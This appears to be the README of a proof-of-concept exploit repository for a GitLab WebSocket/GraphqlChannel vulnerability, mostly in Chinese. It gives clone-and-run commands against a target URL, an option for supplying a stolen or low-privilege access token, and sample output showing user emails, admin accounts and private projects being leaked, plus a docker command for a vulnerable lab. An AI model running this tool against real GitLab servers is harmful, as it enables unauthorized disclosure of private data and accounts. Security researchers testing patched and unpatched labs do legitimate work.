CVE-2026-5173 允许低权限的已认证攻击者通过 GitLab 的 WebSocket（/-/cable）端点调用受限的后端方法，尤其是通过 GraphqlChannel。
这可能导致敏感数据泄露（高机密性）以及有限的未授权操作。
已修复版本：18.8.9 • 18.9.5 • 18.10.3
python3 CVE-2026-5173.py http://target:8080git clone https://github.com/0xBlackash/CVE-2026-5173.git
cd CVE-2026-5173
python3 CVE-2026-5173.py http://your-gitlab-lab:8080
使用令牌（推荐）：
python3 CVE-2026-5173.py http://target.com:8080 -t glpat-XXXXXXXXXXXXXXXXXXXX
示例成功输出：
[+] CVE-2026-5173 PoC v2 - Target: http://192.168.1.100:8080
[+] WebSocket connected
[+] Subscribed to GraphqlChannel
[*] Testing method: currentUser
[SUCCESS] Possible unauthorized access via 'currentUser'!
→ Response: {"result":{"data":{"currentUser":{"id":"gid://gitlab/User/123","name":"Normal User","email":"[email protected]"}}}...
[*] Testing method: users
[SUCCESS] Possible unauthorized access via 'users'!
→ Response: {"result":{"data":{"users":{"nodes":[ {"id":"gid://gitlab/User/1","name":"Admin","email":"[email protected]"}, ... ]}}} ← This leaks all users including admins!
[*] Testing method: projects
[SUCCESS] Possible unauthorized access via 'projects'!
→ Response: long list of ALL projects (even private ones you shouldn't see)
python3 CVE-2026-5173.py <target> [options]
Arguments:
target Target URL (e.g. http://gitlab.example.com:8080)
-t, --token GitLab Personal Access Token (API scope)
-h, --help Show this help message
docker run -d --name gitlab-vuln \
-p 8080:80 -p 2222:22 \
gitlab/gitlab-ce:18.10.2-ce.0
然后创建一个普通用户并运行 PoC。
用 ❤️ 为安全社区打造
如果你觉得有用，就给仓库点个 Star ⭐ 吧！
免责声明：创建时尚无公开的详细漏洞利用代码。这是一个研究级 PoC。